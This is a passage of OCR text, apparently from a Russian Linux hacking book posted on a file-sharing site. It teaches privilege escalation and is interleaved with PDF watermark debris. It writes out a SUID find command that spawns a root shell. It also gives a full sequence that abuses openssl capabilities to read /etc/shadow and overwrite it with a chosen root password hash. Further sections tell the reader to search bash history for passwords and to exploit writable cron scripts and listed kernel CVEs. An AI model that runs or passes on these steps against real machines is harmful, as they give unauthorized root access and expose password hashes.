Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / Колисниченко Д. Н. Хакинг на linux.pdf
Скачиваний:
17
Добавлен:
19.04.2024
Размер:
29.19 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

Чтоm

это нам дает? Да то, что уfind есть параметр -ехес, позволяющийwзаClick­

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

пустить программу при нахождении файла. А раз у find есть SUID/SGID,

 

 

 

g

 

 

 

 

 

 

 

 

 

g

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

то мы можем с ее помощью запустить любую программу с правами root.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Например:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

find

. -ехес /Ыn/sh -р \; quit

 

 

 

 

 

 

 

 

 

 

 

# whoami root

#

Данная команда открывает оболочку с правами root, поэтому все дальней­ шие команды будут запущены от имени root.

3.4. Анализ истории команд

Иногда бывает, что на тебе достался доступ к VDS, но пароля ты не зна­ ешь - он сохранен в SSН-клиенте, а бывший админ уже "пропал с радаров". Что делать? Первым делом нужно попытаться расшифровать сохраненный пароль. Поскольку SSН-клиенту нужно передавать пароль на сервер, то на локальном компьютере он хранится в зашифрованном виде, поддержива­ ющим расшифровку (необратимое шифрование не используется - вроде МD5). Алгоритм зависит от твоего SSН-клиента. Конкретные инструкции можно будет найти в Интернете. А вот если ты их не нашел, тогда все за­ метно хуже. Но не все потеряно. Можно исследовать историю команд - файл

~/.bash_history. Иногда бывает так, что:

Пользователь ошибся и ввел пароль, когда система это не ожидала. В дан­ ном случае данный пароль будет записан в .bash_history.

Иногда админы указывают один пароль на все, и некоторые команды позволяют пароль указать в качестве значения параметра. Следователь­

но, исследуй команды, которые принимают пароли в качестве одного из параметров. Данное мероприятие, как показывает практика, имеет шансы на успех.

 

·······-····-··.... ........... ...............

······· .............................. ...

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

w

 

 

 

 

3.5.o

Возможности Linux

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

С помощью описанного ранее способа (SUID/SGID) можно получить права root. Во избежание этого была реализована система Linux capabilities (воз­ можности Linux). Идея этого механизма заключается в том, чтобы пре­ доставлять не полные привилегии, а только то, что нужно для выполнения задачи. Посмотрим, как это используется.

Первым делом нужно найти подобные файлы в системе:

getcap -r / 2>/dev/null /usr/bin/fping = cap_net raw+ep /usr/bin/ping = cap_net raw+ep /usr/bin/openssl = ер

/usr/bin/tar = cap_d ac read_search+ep

Классический пример иллюстрации - это исполняемый файл tar с разре­ шением cap_dac_read_search+ep, позволяющим ему читать любой файл в системе. Это означает, например, что этой программе доступен файл /etc/ shadow, который от лица обычного пользователя недоступен на чтение. Доступ к этому файлу даст нам хеши паролей, в том числе от root, который мы можем попробовать сбрутить.

Также встречается пустое разрешение =ер. Когда выставлено такое разре­ шение (есть знак "равно" в начале, и не перечислен список разрешений), это значит, что файлу предоставлены все возможные разрешения. В примере такие разрешения есть у файла openssl.

Теперь практический пример, в котором мы попытаемся прочитать файл / etc/shadow. Сгенерируем ключи:

openssl req -х509 -newkey rsa:1024 -keyout key.pem -out cert.pem -days 365 -

nodes

Generating а RSA private key

Запускаем веб-сервер:

openssl s_server -key key.pem -cert cert.pem -port 1336 -НТТР

 

-. ....

" ....................

- ............ . ..................

···-·····-···- - - -------·

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

Usingm

default temp ОН parameters

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

-xcha

 

.c

 

 

 

p

 

 

АССЕРТ

 

 

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

После этого читаем файл:

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

curl -k -http0.8 "https://127.0.0.1:1336/etc/shadow" 1 more

rооt:<пароль зашифрованный>:18442:0:999999:7:::

После этого можно сгенерировать новый файл и перезаписать ним системный. Создадим новый хеш, заменим им хеш (в примере - восклица­ тельный знак) и подготовим файл для заливки.

mkpasswd -m sha-512 -S saltsalt -s Password: 123456

<выведется зашифрованный пароль>

Этот пароль нужно скопировать в качестве второго поля в файл shadow для пользователя root. Новый файл нужно скопировать на сервер в /etc/shadow и залогинитъся:

openssl smime -decrypt -in /tmp/shadow -inform DER -inkey key. pem -out /etc/shadow

su root

Password: <123456>

3.6. Планировщик cron

Планировщик cron используется для периодического вьmолнения всевоз­ можных скриптов. Действия описываются либо в файле /etc/crontab, либо в персональных расписаниях. пользователя, просмотреть которое можно так:

crontab -е <имя пользователя>

 

 

 

·-.....

--..........

---.......

--......................................................

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

 

i

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

Click

 

 

Такжеm

действия могут описываться в специальных каталогах вроде /etc/cron.Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

o

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

.c

w

 

 

 

 

 

 

 

.c

 

 

 

.

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

daily (ежедневное расписание). Если у таких скриптов неаккуратно выстав­

 

 

 

g

 

 

 

 

 

 

 

 

 

 

g

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

лены привилегии, то это может стать находкой для атакующего. Когда ад­ министратор ставит привилегии как попало, "просто чтобы работало", он вполне может написать установить права 777, что позволит нам отредакти­ ровать вызываемый по расписанию скрипт. Поскольку cron запускает файлы от имени root, то наши команды также будут выполнены от имени root.

З.7. Уязвимости ядра

В ядре Linux, как и в любом другом программном обеспечении, есть уяз­ вимости. Иногда эти уязвимости позволяют получить root. Конечно, найти уязвимость самостоятельно очень сложновы бы тогда не читали эту КНШ"У· Универсальный рецепт такой: нужно посредством команды ипате получить точную версию ядра и попытаться в Интернете найти уязвимости для нее. Можно также использовать поиск эксплоитов, встроенный в Кali Linux (см. другую часть книги). Эта операционная система содержит много эксплои­ тов, но далеко не все они окажутся рабочими. Вполне может оказаться, что некоторые эксплоиты будут работать нестабильно, поскольку ядро уже про­ патчено.

Примеры уязвимостей для повышения привилегий:

CVE 2017-16995;

CVE 2013-1959;

CVE 2012-0056;

CVE 2010-3904.

Это далеко не уязвимости, их гораздо больше. Кроме Кali источником поис­ ка уязвимостей может послужить Интернет - на профильных сайтах публи­ куется информация об уязвимостях ядра, которую вы можете использовать. Если ядро не успели пропатчить, значит, у вас все получится.

Пример сайтов:

https://www.syxsense.com/linux-vulneraЬilities-march-202l/

https://www.cvedetails.com/vulneraЬility-list/vendor_id-33/Linux.htrnl ,...................................................................................